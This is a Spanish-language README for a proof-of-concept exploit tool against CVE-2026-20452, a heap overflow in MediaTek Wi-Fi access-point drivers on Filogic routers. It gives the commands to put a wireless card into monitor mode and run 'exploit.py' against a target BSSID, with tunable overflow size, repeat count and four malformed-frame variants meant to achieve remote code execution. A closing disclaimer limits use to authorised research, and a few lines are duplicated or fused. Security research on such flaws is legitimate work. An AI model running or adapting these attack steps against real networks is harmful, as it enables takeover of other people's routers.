
Exploit de prueba de concepto para CVE-2026-20452, un desbordamiento de búfer basado en montón en los controladores de punto de acceso WLAN de MediaTek. Utiliza scapy para enviar tramas de gestión Wi-Fi manipuladas y desencadenar la ejecución remota de código en los routers Filogic afectados.
Exploit de prueba de concepto para CVE-2026-20452, un desbordamiento de búfer basado en montón en el controlador del punto de acceso WLAN de MediaTek.
https://www.hunt-benito.com/blog/mediatek-wlan-heap-overflow-cve-2026-20452-filogic-router-rce/
pip install scapy)sudo airmon-ng check kill
sudo airmon-ng start wlan0
# Interface becomes wlan0mon
sudo python exploit.py --interface wlan0mon --bssid AA:BB:CC:DD:EE:FF --attacker 11:22:33:44:55:66
sudo python exploit.py --interface wlan0mon --bssid AA:BB:CC:DD:EE:FF --attacker 11:22:33:44:55:66 \
--overflow-size 1024 --variant 2 --count 50 --delay 0.05
| Variante | Tipo de IE | Descripción |
|---|---|---|
| 0 | Vendor Specific (221) | Una única IE Vendor Specific de tamaño excesivo con OUI 00:50:43 |
| 1 | IEs específicos de proveedor encadenados | Múltiples IEs específicos de proveedor de pequeño tamaño para corromper objetos de montón adyacentes |
| 2 | HT Capabilities (45) | IE HT Capabilities de tamaño excesivo |
| 3 | Extended Capabilities (127) | IE Extended Capabilities de tamaño excesivo |
Esta herramienta se proporciona únicamente con fines de investigación de seguridad autorizados y educativos. La transmisión en frecuencias Wi-Fi puede requerir autorización legal en su jurisdicción. El uso no autorizado contra sistemas que no posee o para los que no tiene permiso explícito para probar es ilegal. Los autores no asumen ninguna responsabilidad y no se hacen responsables de cualquier uso indebido o daño causado por esta herramienta.